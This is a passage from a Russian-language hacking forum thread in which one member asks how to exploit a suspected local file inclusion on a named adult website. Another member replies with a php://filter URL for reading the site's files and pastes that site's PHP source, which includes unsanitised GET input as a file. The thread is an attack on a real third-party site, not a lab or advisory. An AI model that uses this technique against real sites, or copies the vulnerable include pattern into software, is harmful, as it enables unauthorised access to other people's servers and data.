Уязвимости SQLi, XSS и другие.

#11

13.05.2015, 10:17

YaBtr

Постоянный

Регистрация: 30.05.2012

Сообщений: 600

С нами: 7343606

Репутация: 652

Цитата:

Сообщение от BabaDook

↑

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//m.deffki.su/?go=[/COLOR][/COLOR]

по моему lfi но я не могу раскрутить, если кто подскажет буду признателен

Набранное количество баллов позволяет Вам задавать вопросы по уязвимостям в профильном разделе форума.

По поводу вопроса - небольшая подсказка:

http://m.deffki.su/?go=php://filter/...resource=index

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]dir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$root_path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/templates/'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]load_template[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'main.tpl'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$go[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]go[/COLOR][COLOR="#007700"]];

  if ([/COLOR][COLOR="#0000BB"]$go[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]"prv"[/COLOR][COLOR="#007700"])
  {
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location:[/COLOR][COLOR="#0000BB"]$site_url[/COLOR][COLOR="#DD0000"]/prv.php?id=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
  }

  elseif (!empty([/COLOR][COLOR="#0000BB"]$go[/COLOR][COLOR="#007700"]))
  {
  include[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$go[/COLOR][COLOR="#DD0000"].php
"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$indek_1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$indek[/COLOR][COLOR="#007700"];
  }

  else
  {
  include[/COLOR][COLOR="#DD0000"]"main.php"[/COLOR][COLOR="#007700"];
  } 
if (empty([/COLOR][COLOR="#0000BB"]$descr[/COLOR][COLOR="#007700"]))
{
[/COLOR][COLOR="#0000BB"]$descr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"Ýðîòèêà - ýòî òàëàíò êðàñèâî ñ ñåêñóàëüíî ïîêàçàòü æåíñêîå òåëî. Ñ äðóãîé ñòîðîíû, ëþáûå ÷àñòíûå ýðî ôîòî òàê æå ìîæíî íàçâàòü ýðîòèêîé. Îáû÷íûå ãîëûå äåâóøêè íà äîìàøíèõ ôîòîãðàôèÿõ ýòî ïðîñòî ýðîòèêà, à êðàñèâî ïîêàçàííûå ãîëûå äåâî÷êè ýòî óæå êðàñèâàÿ, ïðîôåññèîíàëüíàÿ ýðîòèêà. Íà íàøåì ñàéòå âû åæåäíåâíî ìîæåòå íàáëþäàòü è òî è äðóãîå (áåñïëàòíî) - ëþáèòåëüñêèå ôîòî ãîëûõ áàá è ïðîôåññèîíàëüíûå ôîòîãðàôèè ãîëûõ òåëîê ìîäåëåé. Çàõîäèòå ÊÀÆÄÛÉ ÄÅÍÜ è íàñëàæäàéòåñü ñåêñóàëüíûìè ôîòî ãîëûõ æåíùèí îíëàéí!"[/COLOR][COLOR="#007700"];
}
else
{
[/COLOR][COLOR="#0000BB"]$descr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$descr[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];
}
[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'{main}'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$main[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'{title}'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$title[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'{indek}'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$indek[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'{indek_1}'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$indek_1[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'{descr}'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$descr[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]compile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'main'[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#0000BB"]$tpl[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]result[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'main'[/COLOR][COLOR="#007700"]];
[/COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR]

Внести депозит

Депозит создан

Вывести депозит